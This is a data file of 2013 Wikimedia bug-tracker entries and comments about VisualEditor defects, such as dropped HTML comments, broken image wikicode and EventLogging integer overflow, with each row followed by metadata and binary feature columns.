+I can't replicate this, although of course it is difficult to realistically replicate edit conflicts.",,,1371549819,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-vm7v6vojqzplbnspgwqk,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,1,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+247472,VisualEditor: Page contents replaced 'undefined' (because of an edit conflict?),"https://en.wikipedia.org/wiki/Wikipedia:Village_pump_(technical)#VisualEditor_-_A.2FB_test_launch_on_18_June
+
+indicates that this might be caused by edit conflicts",,,1371547249,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-vm7v6vojqzplbnspgwqk,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+51668,VisualEditor: Page with a <references /> block and no <ref>s throws fatal error on load,"Have a page with a <references /> block but no <ref>s and you get:
+
+| Uncaught TypeError: Cannot call method 'connect' of null 
+
+This is bad.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Unbreak Now!,100.0,1371431820,1371479770.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-cheeem2iuszopjmd3axj,task_description,resolved,True,c1,2,True,False,True,-2,,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,1
+243087,VisualEditor: Page with a <references /> block and no <ref>s throws fatal error on load,"This was fixed with gerrit 67924, which is now merged into master and will go out with wmf8 from Thursday.",,,1371479770,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-cheeem2iuszopjmd3axj,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0
+51608,VisualEditor: HTML comments are dropped from transclusion calls,"https://en.wikipedia.org/w/index.php?title=Vidin&diff=559844598&oldid=559844102 shows several dirty diff issues, including spurious template bars, space changes, and corrupt links.
+
+However, this bug is specifically about the HTML comments that are dropped, ""the name of a location map as per http://en.wikipedia.org/wiki/Template:Location_map"" and ""the position of the pushpin label: left, right, top, bottom, none"".  These comments often have important messages to other editors, so they can not be stripped.
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=49603
+https://bugzilla.wikimedia.org/show_bug.cgi?id=49655",Unbreak Now!,100.0,1371265140,1371511467.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-b7q472kz3l2dnhbtziiw,task_description,resolved,True,c1,2,True,False,True,-3,,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0
+335980,VisualEditor: HTML comments are dropped from transclusion calls,"verified in betalabs and test2 - HTML comments are preserved for both cases  - generally and, specifically, in transclusions.",,,1417635932,,PHID-USER-4alekd35in5tg53zpsl4,True,,,PHID-TASK-b7q472kz3l2dnhbtziiw,task_subcomment,,True,c1,3,True,,,74,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+335978,VisualEditor: HTML comments are dropped from transclusion calls,"verified in betalabs - HTML comments are preserved both - generally and, specifically, in transclusions.",,,1417635694,,PHID-USER-4alekd35in5tg53zpsl4,True,,,PHID-TASK-b7q472kz3l2dnhbtziiw,task_subcomment,,True,c1,3,True,,,74,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+239675,VisualEditor: HTML comments are dropped from transclusion calls,"That's a separate bug, will raise as such.",,,1372002624,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-b7q472kz3l2dnhbtziiw,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0
+239668,VisualEditor: HTML comments are dropped from transclusion calls,"Not sure if it's the same thing, but I just did this today http://it.wikipedia.org/w/index.php?title=Google&diff=59622535&oldid=59377529 and it discarded commented text which, as noted above, should be there for a reason :)",,,1371996558,,PHID-USER-wil4b5lylrvf3krixlkl,True,,,PHID-TASK-b7q472kz3l2dnhbtziiw,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,0,0,0,0,1,1,1,1,0,0,0,0,0
+239661,VisualEditor: HTML comments are dropped from transclusion calls,"This is now fixed; as an example, see https://en.wikipedia.org/w/index.php?title=Bleak_House&diff=560362551&oldid=560338958 as an edit made with VisualEditor that leaves the comments in the templates as they were.",,,1371511467,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-b7q472kz3l2dnhbtziiw,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,1,0,0,0,0,0
+239656,VisualEditor: HTML comments are dropped from transclusion calls,Can't reproduce in master. The comment appears in the template dialog and can be edited. With experimental code disabled the template is completely untouched.,,,1371465156,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-b7q472kz3l2dnhbtziiw,task_subcomment,,True,c1,2,True,,,-2,,0,0,1,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+239650,VisualEditor: HTML comments are dropped from transclusion calls,"(In reply to comment #3)
+> See also bug 49655 and this (where Ssastry discusses it): 
+> Wikipedia:VisualEditor/Feedback#Removal_of_comments_in_Infobox
+
+The place for ""see also"" bugs is the ""see also"" section at the top right of the bug - have put it there. :-) Bug 42124 is not relevant.",,,1371425926,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-b7q472kz3l2dnhbtziiw,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,1
+239647,VisualEditor: HTML comments are dropped from transclusion calls,"[[Wikipedia:VisualEditor/Feedback#Removal_of_comments_in_Infobox]]
+
+See also bug 42124.",,,1371424680,,PHID-USER-ebwxbdwkoxprr4cvvjvy,True,,,PHID-TASK-b7q472kz3l2dnhbtziiw,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1
+239642,VisualEditor: HTML comments are dropped from transclusion calls,"See also bug 49655 and this (where Ssastry discusses it): 
+Wikipedia:VisualEditor/Feedback#Removal_of_comments_in_Infobox",,,1371424467,,PHID-USER-ebwxbdwkoxprr4cvvjvy,True,,,PHID-TASK-b7q472kz3l2dnhbtziiw,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0
+239637,VisualEditor: HTML comments are dropped from transclusion calls,"Confirm that these are being re-broken, but seemingly online in template calls (where we can't alienate them?). Ed, can you confirm at your end if this is a DM issue or a Parsoid one?
+
+I was able to edit around an HTML comment without altering it inline (as expected) in https://www.mediawiki.org/w/index.php?title=VisualEditor:TestComments&diff=712245&oldid=712244 - but changes to the HTML comment in the second template fail to be detected as a change (?). Note that the first template can't be edited as the preceding block comment it created as an mw:Placeholder (per bug 47403) and (wrongly?) merged with the following transclusion.",,,1371420455,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-b7q472kz3l2dnhbtziiw,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,0,0,1,1,1,1,1,0,0,0,0,0,1,0,1,0,1,0,0,1,1,1,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,1,1,0,0,0
+239631,VisualEditor: HTML comments are dropped from transclusion calls,"At the time of this discussion by VE developers, 
+[[Wikipedia:VisualEditor/Feedback/Archive 2013 05#General_observations]], hidden notes/comments were preserved. Now all hidden HTML notes on a page (or at least those in templates) are removed when the page is edited by VE.
+
+Page edit notices and section edit notices will not work as a replacement since hidden notes can be instructional for specific references, tables, infoboxes, navboxes, sentences, paragraphs, etc.. Page notices and edit notices are for a whole page or section. For more info: 
+[[Wikipedia:VisualEditor/Feedback#HTML_notes]] - or wherever it ends up later in the archives. 
+
+If HTML notes are going to be replaced by some new hidden notation system, they still need to be preserved in the meantime. They should be treated similarly to how VE handles tables, infoboxes, and other stuff that VE can not currently edit. VE should not be doing anything within templates. Templates are too complex for VE to meddle with in the slightest way. VE should not even remove spaces in templates. 
+
+If VE ends up with another hidden note tool, then a bot may have to go around to convert all existing hidden HTML notes to the new VE tool. But why bother? 
+
+Why not keep the HTML notes, and use some kind of popup tooltip in VE that pops up when one puts the mouse cursor over a hidden note icon in VE edit mode? So one can read the hidden note in the popup. Kind of like how reference tooltips work.",,,1371269621,,PHID-USER-ebwxbdwkoxprr4cvvjvy,True,,,PHID-TASK-b7q472kz3l2dnhbtziiw,task_subcomment,,True,c1,2,False,,,-3,,1,1,0,1,1,1,1,0,0,1,1,0,1,0,0,0,0,1,1,1,1,1,1,0,1,1,0,1,1,1,0,1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,0,1,1,0,0,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,0,1,1,0,1,1,1,1
+51596,VisualEditor: Adding a file/media fails with wrong wikicode (Image insertion sets resource='undefined'),"Adding a file/media fails with wrong wikicode.
+
+This wikicode is created, see URL:
+
+[[undefined|link=https://commons.wikimedia.org/wiki/File:CV.03326.jpg|right|framed|424x275px]]
+
+--------------------------
+**Version**: unspecified
+**Severity**: major
+**URL**: https://test.wikipedia.org/w/index.php?title=User:Raymond/image&diff=174461&oldid=174460",Unbreak Now!,100.0,1371244680,1371682009.0,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-2z2izcavd5te3dkswczw,task_description,resolved,True,c1,2,False,False,True,-3,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+238648,VisualEditor: Adding a file/media fails with wrong wikicode (Image insertion sets resource='undefined'),*** Bug 50021 has been marked as a duplicate of this bug. ***,,,1372002331,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2z2izcavd5te3dkswczw,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+238642,VisualEditor: Adding a file/media fails with wrong wikicode (Image insertion sets resource='undefined'),"(In reply to comment #10)
+> What about commend 5 and comment 6?
+
+Sorry, yes; created as bug 49849.",,,1371690785,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2z2izcavd5te3dkswczw,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,1
+238635,VisualEditor: Adding a file/media fails with wrong wikicode (Image insertion sets resource='undefined'),What about commend 5 and comment 6?,,,1371684547,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-2z2izcavd5te3dkswczw,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0
+238628,VisualEditor: Adding a file/media fails with wrong wikicode (Image insertion sets resource='undefined'),"This is partially fixed in gerrit 69581 which we will deploy this afternoon.
+
+However, the link issue is still not fixed, thus (in the example in comment 0) we will now get:
+
+[[File:CV.03326.jpg|link=https://commons.wikimedia.org/wiki/File:CV.03326.jpg|right|framed|424x275px]]
+
+… instead of:
+
+[[File:CV.03326.jpg|right|framed|424x275px]]
+
+… which is bad, but nothing like as terrible as it was. Forking that off to a new bug, bug 49844, and marking this as fixed.",,,1371682009,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2z2izcavd5te3dkswczw,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,1,1,0,0,0,1,1,0,1,0,0,0,1,1,1,1,0,0,0,0,1,1,1,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+238619,VisualEditor: Adding a file/media fails with wrong wikicode (Image insertion sets resource='undefined'),"From bug 49829 comment 0:
+
+| This is the DOM returned by the VE after inserting a new thumbnail:
+| <figure typeof=""mw:Image/Frame"" class="" mw-halign-right"">
+| <a rel=""mw:thumb"" href=""http://commons.wikimedia.org/wiki/File:Apples.jpg"">
+| <img src=""http://upload.wikimedia.org/wikipedia/commons/thumb/e/ee/Apples.jpg/
+|   100px-Apples.jpg"" width=""100"" height=""150"" resource=""undefined""></a></figure>
+| 
+| Note the 'undefined' in the resource attribute. The resource is the image
+| target, so we notice that the link and the image named 'undefined' differ and
+| serialize as
+| [[undefined|link=http://commons.wikimedia.org/wiki/File:Apples.jpg|thumb]].",,,1371659496,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2z2izcavd5te3dkswczw,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1
+238613,VisualEditor: Adding a file/media fails with wrong wikicode (Image insertion sets resource='undefined'),*** Bug 49829 has been marked as a duplicate of this bug. ***,,,1371659407,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2z2izcavd5te3dkswczw,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+238608,VisualEditor: Adding a file/media fails with wrong wikicode (Image insertion sets resource='undefined'),"**winne2i** wrote:
+
+The same on plwiki: https://pl.wikipedia.org/w/index.php?diff=36790309
+(""prawo"" means ""right"" in polish, ""ramka"" means ""frame"")",,,1371648653,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-2z2izcavd5te3dkswczw,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0
+238601,VisualEditor: Adding a file/media fails with wrong wikicode (Image insertion sets resource='undefined'),"(In reply to comment #3)
+> I get the same type of error:
+> <http://pt.wikipedia.org/w/index.
+> php?title=PLoS_ONE&diff=36119075&oldid=34872658>
+
+On this example there is also something else: I think the code ""direita,right"" should be just ""direita"" or ""right"".",,,1371640850,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-2z2izcavd5te3dkswczw,task_subcomment,,True,c1,2,False,,,-2,,0,1,0,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,0,0,0,0,0,0,1
+238593,VisualEditor: Adding a file/media fails with wrong wikicode (Image insertion sets resource='undefined'),*** Bug 49795 has been marked as a duplicate of this bug. ***,,,1371627753,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-2z2izcavd5te3dkswczw,task_subcomment,,True,c1,2,False,,,-2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+238587,VisualEditor: Adding a file/media fails with wrong wikicode (Image insertion sets resource='undefined'),I get the same type of error: <http://pt.wikipedia.org/w/index.php?title=PLoS_ONE&diff=36119075&oldid=34872658>,,,1371391157,,PHID-USER-vyidforzdhnrsoweujao,False,,,PHID-TASK-2z2izcavd5te3dkswczw,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1
+238580,VisualEditor: Adding a file/media fails with wrong wikicode (Image insertion sets resource='undefined'),"For additional examples, if that will be helpful, see:
+http://en.wikipedia.org/w/index.php?title=User%3AMdennis_%28WMF%29&diff=560023092&oldid=541758155
+
+http://en.wikipedia.org/w/index.php?title=Keshi_%28demon%29&diff=559979773&oldid=559978871",,,1371305701,,PHID-USER-joqqkabmjmvxeucx4ni2,False,,,PHID-TASK-2z2izcavd5te3dkswczw,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+238574,VisualEditor: Adding a file/media fails with wrong wikicode (Image insertion sets resource='undefined'),"Roan, do we get the typeof:/etc. wrong at our end, or is this a Parsoid issue?",,,1371244860,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2z2izcavd5te3dkswczw,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0
+51586,VisualEditor: EventLogging gives the same pageViewSessionId for all edits,"
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Unbreak Now!,100.0,1371231960,1371232257.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-myow2awxzmx4c4ssz6ta,task_description,resolved,True,c1,2,True,False,True,-3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+238095,VisualEditor: EventLogging gives the same pageViewSessionId for all edits,Merged and we'll get this out on Monday so we can test it.,,,1371234407,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-myow2awxzmx4c4ssz6ta,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+238091,VisualEditor: EventLogging gives the same pageViewSessionId for all edits,Related URL: https://gerrit.wikimedia.org/r/68712 (Gerrit Change Iddb9eb9c64b55b25445ddf9e474d312b685978a6),,,1371233987,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-myow2awxzmx4c4ssz6ta,task_subcomment,,True,c1,2,False,,,-3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+238087,VisualEditor: EventLogging gives the same pageViewSessionId for all edits,"(In reply to comment #1)
+> All events in Edit_5563071 appear to have the same value for
+> event_pageViewSessionId (2147483647).
+
+It was simply overflowing its column type (int). I set it to 'bigint' and it's fine now.
+
+It's odd that we haven't run into this before! It's because we ordinarily convert timestamps to byte strings, like the rest of MediaWiki. This is the first time we've tried to save timestamps as integers. The int type is good for values between +/- 2,147,483,647, which has been adequate for all other use cases.
+
+> When fixing, we will want to bump the event_version value.
+
+Well, since this did not require a deployment, I instead moved all existing rows in the 'Edit' table to 'z_Edit_5563071'. Any events that go into the current 'Edit_5563071' will be fine.",,,1371232257,,PHID-USER-r7wrkcx7j2vutqs6hr3g,True,,,PHID-TASK-myow2awxzmx4c4ssz6ta,task_subcomment,,True,c1,2,True,,,-3,,1,0,0,0,1,1,1,1,0,0,1,1,1,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,1,0,1,0,1,1,0,1,1,1,1,0,0,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+238081,VisualEditor: EventLogging gives the same pageViewSessionId for all edits,"All events in Edit_5563071 appear to have the same value for event_pageViewSessionId (2147483647).
+
+When fixing, we will want to bump the event_version value.",,,1371232111,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-myow2awxzmx4c4ssz6ta,task_subcomment,,True,c1,2,True,,,-3,,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+51585,VisualEditor: EventLogging doesn't log user_id so we can't split out user behaviour,"
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Unbreak Now!,100.0,1371231900,1371234357.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-znkh7fhdepbxk6h3va36,task_description,resolved,True,c1,2,True,False,True,-3,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+238056,VisualEditor: EventLogging doesn't log user_id so we can't split out user behaviour,Merged and we'll get this out on Monday so we can test it.,,,1371234387,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-znkh7fhdepbxk6h3va36,task_subcomment,,True,c1,2,True,,,-3,,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
